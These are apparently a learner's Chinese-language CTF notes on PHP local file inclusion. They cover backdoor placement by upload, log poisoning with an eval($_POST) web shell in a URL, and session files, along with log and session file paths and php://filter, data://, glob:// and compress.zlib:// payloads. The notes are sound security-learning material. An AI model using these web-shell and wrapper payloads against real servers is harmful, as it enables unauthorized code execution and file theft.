文件包含

直接来说就是包含一个文件,这个文件有后门代码,就可以shell连上去

所以文件包含的重点就是怎么搞到一个有后门的文件,这就需要一些方法

  一.文件上传

上传一个文件在服务器上,直接利用(真的能够有实际作用吗)

  二.日志写入,

没有文件的时候,可以通过在服务器的日志中做点手脚,不过服务器系统分为Apache和Nginx,不同的日志有不同的操作路径

apache一般是/var/log/apache/access.log。:

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

当你在服务器中执行过任何操作的时候,日志就会记录下来,可以通过写后门,举个例子http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>

虽然执行失败,但是日志里仍然保留了这次操作,所以文件包含日志,执行后门

当然,方法很多,bp啥的更好用,只要日志留下后门就好

三.session

和日志写入一个原理利用php终端session .upload功能作为跳板,当然,要知道session的路径。先说session,Session指的是一段时间内,单个客户端与Web服务器的一连串相关的交互过程。

而常见的session路径:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

原理简单,在session中写入后门,找到session的存储位置,文件包含,不过实际利用起来应该麻烦的多

文件包含的各种协议

之前记录了一些

file://协议

,用来读取本地文件的,当做的题的时候需要读取本地文件源码时用上,如NIzhuang第二层过滤,举例

/?file=php://filter/read=convert.base64-encode/resource=useless.php

以base64形式回显useless.php的源码内容

php://filter可以自己套协议,当做到题的时候遇到过滤字符或者必需某个字符的时候,可以在其中加上/xxx/ ,不影响执行

data://协议

我理解为写入东西,正式解释为data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数,或者执行命令,举例

?text=data://text/plain,welcome to the zjctf

将字符串写入到text中,被过滤时可以用base64编码上传,即

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

(执行的<?php system(‘cat flag.php’);?>)

?file=data:text/plain,<?php system(‘cat flag.php’);?>

,如果php被过滤,可以用短命令去掉php,或者大小写pHp,再或者base64

php://协议

还不太明白,可以用来访问各个输入/输出流(正式解释)常用为php://filter和php://input

php://filter用于读取源码。

php://input用于执行php代码

正在研究https://blog.csdn.net/m0_46467017/article/details/126380415中的说明,等后面做题再看吧

glob:// /*协议

web72新接触的,例子

c=?><?php $a=new DirectoryIterator(“glob:///*”);foreach($a as $f){echo($f->__toString().’ ‘);}exit(0);?>

执行了一个php语句。首先glob查找根目录下的所有目录(glob:// /*这样更加清楚些)。然后循环执行并输出给$f,在输出$f。
可以绕过一些过滤来读取文件名

zlib:// 伪协议,web113新发现的

当filter被屏蔽时使用这个

file=compress.zlib://flag.php

tips:二次元真可怕